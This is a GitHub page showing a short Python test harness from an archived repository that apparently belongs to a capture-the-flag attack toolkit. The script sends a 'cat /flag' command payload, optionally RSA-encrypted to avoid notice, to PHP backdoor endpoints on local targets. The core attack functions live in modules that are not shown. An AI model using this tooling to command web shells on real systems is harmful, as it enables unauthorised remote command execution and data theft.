This repository has been archived by the owner on May 16, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 26
/
main_tests.py
62 lines (49 loc) · 1.69 KB
/
main_tests.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from main import attack_by_normal_request, attack_by_mix_request
from common import logger, rsa_encrypt, rsa_decrypt, callback_default
from payloads import exp_system
def test_rsa():
"""测试 RSA Agent
"""
logger.info("[+] Start Test RSA...")
text = 'test'+'asdveaw' * 10
logger.debug("Origin Text : %s" % text)
text = rsa_encrypt(text)
logger.debug("RSA Encrypt : %s" % text)
text = rsa_decrypt(text)
logger.debug("RSA Decrypt : %s" % text)
def test_normal(targets, payload):
"""测试 Normal
"""
logger.info("[+] Start Test [Normal]...")
attack_by_normal_request(targets, "/backdoor.php", "1", payload, 1)
def test_normal_rsa(targets, payload):
"""测试 Normal + RSA
"""
logger.info("[+] Start Test [RSA + Normal]...")
payload = rsa_encrypt(payload)
attack_by_normal_request(targets, "/rsa.php", 0, payload, 1)
def test_mix(targets, payload):
"""测试 Mix
"""
logger.info("[+] Start Test [Mix]...")
attack_by_mix_request(targets, "/backdoor.php", "1", payload, 1)
def test_mix_rsa(targets, payload):
"""测试 Mix + RSA
"""
logger.info("[+] Start Test [RSA + Mix]...")
payload = rsa_encrypt(payload)
attack_by_mix_request(targets, "/rsa.php", 0, payload, 1)
if __name__ == '__main__':
logger.info("[+] Testing...")
# targets = ['127.0.0.1:8085']
targets = ['127.0.0.1:8085' for i in range(10)]
payload = exp_system('cat /flag')
# logger.toggleDebug()
# test_rsa()
test_normal(targets, payload)
# test_normal_rsa(targets, payload)
# test_mix(targets, payload)
# test_mix_rsa(targets, payload)
# logger.toggleDebug()